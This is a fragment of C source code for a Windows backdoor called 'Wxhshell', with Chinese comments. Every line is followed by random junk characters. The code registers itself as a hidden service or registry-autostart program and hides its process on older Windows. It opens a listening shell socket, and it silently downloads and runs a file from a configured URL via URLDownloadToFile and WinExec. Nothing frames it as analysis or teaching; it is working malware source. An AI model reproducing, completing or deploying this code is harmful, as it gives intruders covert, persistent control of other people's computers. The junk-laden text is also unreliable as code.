ULONG InheritedFromUniqueProcessId; _]B'C
} PROCESS_BASIC_INFORMATION; >scEdeM
^+-i7`|=
PROCNTQSIP NtQueryInformationProcess; Ax&+UxQ0|
{&xKSWNc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 86[TBX5'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;#AV~Y-
s
d35 ,[
HANDLE hProcess; lE4.O
PROCESS_BASIC_INFORMATION pbi; ^;L;/I[-
^X^4R1V)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Ir 5gz
if(NULL == hInst ) return 0; Uc.K6%iI
f"z96{zo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z O&5C6qa
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B&cC;Hw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -|g~--@Q
M5wj79'l"
if (!NtQueryInformationProcess) return 0; A%pcPzG;
$Die~rPU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QD<f)JZK
if(!hProcess) return 0; gE|_hfm(
<f1Pj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :dK/}S0
%6L{Z *(
CloseHandle(hProcess); Nw8lg*t"
UE5T%zd /
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tQF,E&Jo8
if(hProcess==NULL) return 0; SZNM$X|T
}5\F <b^@Y
HMODULE hMod; YuFJJAJ
char procName[255]; Z%k)'%_
unsigned long cbNeeded; V |)3l7IC<
k68\ _ NUL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |X0h-kX4
-m3O\X
CloseHandle(hProcess); d[J+):aW
b|P[\9
if(strstr(procName,"services")) return 1; // 以服务启动 gh#9<
-)PQ&[
return 0; // 注册表启动 /0IvvD!7N
} f.4r'^
R_`i=>Z-
// 主模块 [2:Q.Zj
int StartWxhshell(LPSTR lpCmdLine) 4cDjf~n
{ B/6wp^#VX
SOCKET wsl; 8c3Qd
BOOL val=TRUE; fYBmW')
int port=0; a"@k11
struct sockaddr_in door; hOG9
&'Pwz
if(wscfg.ws_autoins) Install(); @m[q0G}
Js.2R$o =*
port=atoi(lpCmdLine); tNj-~r
MOi.bHCQJP
if(port<=0) port=wscfg.ws_port; fMgB!y"Em
5)bf$?d
WSADATA data; &@NTedg!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lV<2+Is
GgwO>[T
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >$Sc}a3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l+`f\ },
door.sin_family = AF_INET; bk^W]<:z`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w/&)mm{
door.sin_port = htons(port); B)>r~v]
IYAvO%~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FOz~iS\
closesocket(wsl); )lh48Ag0t;
return 1; ZFYv|2l
} ~QzUQYG*
`<_A#@
if(listen(wsl,2) == INVALID_SOCKET) { _sLSl;/t
closesocket(wsl); =Y!x
return 1; zB/#[~
} "pUqYMB2i
Wxhshell(wsl); ,6TF]6:
WSACleanup(); NEp
)V'
YvA@I|..~
return 0; A)v!
{
o\<m99Ub
} ye?4^@u u
f0"N
// 以NT服务方式启动 ^hL?.xj
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Em6P6D>S>,
{ p>x[:*
DWORD status = 0; xAlyik
DWORD specificError = 0xfffffff; PH!^ww6
5~8FZ-x
serviceStatus.dwServiceType = SERVICE_WIN32; Qk`ykTS!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MX*T.TG8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V/N:Of:\R
serviceStatus.dwWin32ExitCode = 0; n{Ce%gy
serviceStatus.dwServiceSpecificExitCode = 0; 9c p jO
serviceStatus.dwCheckPoint = 0; ahJ-T@
serviceStatus.dwWaitHint = 0; M8Tj;ATr
3jeB\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EuH[G_5e0
if (hServiceStatusHandle==0) return; ~%gO +qD
+,8j]<wpo
status = GetLastError(); nf%"7 y{dd
if (status!=NO_ERROR) $RASpM
{ y"bSn5B[
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8,VX%CS#q
serviceStatus.dwCheckPoint = 0; O8\> ?4)
serviceStatus.dwWaitHint = 0; TK! D=M
serviceStatus.dwWin32ExitCode = status; O4c[,Uq8~
serviceStatus.dwServiceSpecificExitCode = specificError; 0oC5W?>8s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `qXCY^BH2
return; --D&a;CO}
} E`A6GX
cu|S|]g
serviceStatus.dwCurrentState = SERVICE_RUNNING; Gl!fT1zh0
serviceStatus.dwCheckPoint = 0; LvM;ZfAEv
serviceStatus.dwWaitHint = 0; Q85Y6',
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = n>aJ(=Pd
} /7`fg0A
t%k1=Ow5i
// 处理NT服务事件,比如:启动、停止 ?^X
e^1(
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3QZ~t#,7ij
{ __mnz``/Y
switch(fdwControl) 'B"A*!"b
{ H
Z)an
case SERVICE_CONTROL_STOP: >du _/*8:
serviceStatus.dwWin32ExitCode = 0; M9PzA'}4W6
serviceStatus.dwCurrentState = SERVICE_STOPPED; K|a^<|
S
serviceStatus.dwCheckPoint = 0; p?Rq
serviceStatus.dwWaitHint = 0; Lh_Q@>k
{ <jjn'*44f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bP+b~!3
} ?|$IZ9
return; E0lro+'lS
case SERVICE_CONTROL_PAUSE: qX_(
M2oLU
serviceStatus.dwCurrentState = SERVICE_PAUSED; >Nho`m(
break; _=g;K+%fb
case SERVICE_CONTROL_CONTINUE: Nn:>c<[
serviceStatus.dwCurrentState = SERVICE_RUNNING; "d3qUk
break; wOg?.6<Kxa
case SERVICE_CONTROL_INTERROGATE: J]"IT*-Ht
break; .29y3}[PO
}; "TQ3{=j{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h ycdk1SN
} bdBFDg
>cdxe3I\
// 标准应用程序主函数 '*d);{D8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m|8ljXX
{ W]aX}>0
[W*xPXr*
// 获取操作系统版本 lDU@Q(V#}<
OsIsNt=GetOsVer(); oBpoZ @[Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); "4Bk
o)U4RY*
// 从命令行安装 Up*.z\|'y
if(strpbrk(lpCmdLine,"iI")) Install(); p2)563#RS
>vny9^_
// 下载执行文件 qVe&nXo
if(wscfg.ws_downexe) { pI]tv@>:f
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sSdnH_;&
WinExec(wscfg.ws_filenam,SW_HIDE); R{0nk
} ]A]EED.ZH
Kc,=J?Ob
if(!OsIsNt) { P)9$}9i
// 如果时win9x,隐藏进程并且设置为注册表启动 )^q7s&p/
HideProc(); fa:V8xa
StartWxhshell(lpCmdLine); R4x!b`:i
} EsK.g/d
else 6|HxBC#4
if(StartFromService()) 6!Z>^'6
// 以服务方式启动 %j7HIxZh
StartServiceCtrlDispatcher(DispatchTable); hALg5.E{T
else f?[0I\V[$
// 普通方式启动 f *HEw
StartWxhshell(lpCmdLine); BJ,D1E
X
8#Uk} /
return 0; 9=FqI50{
}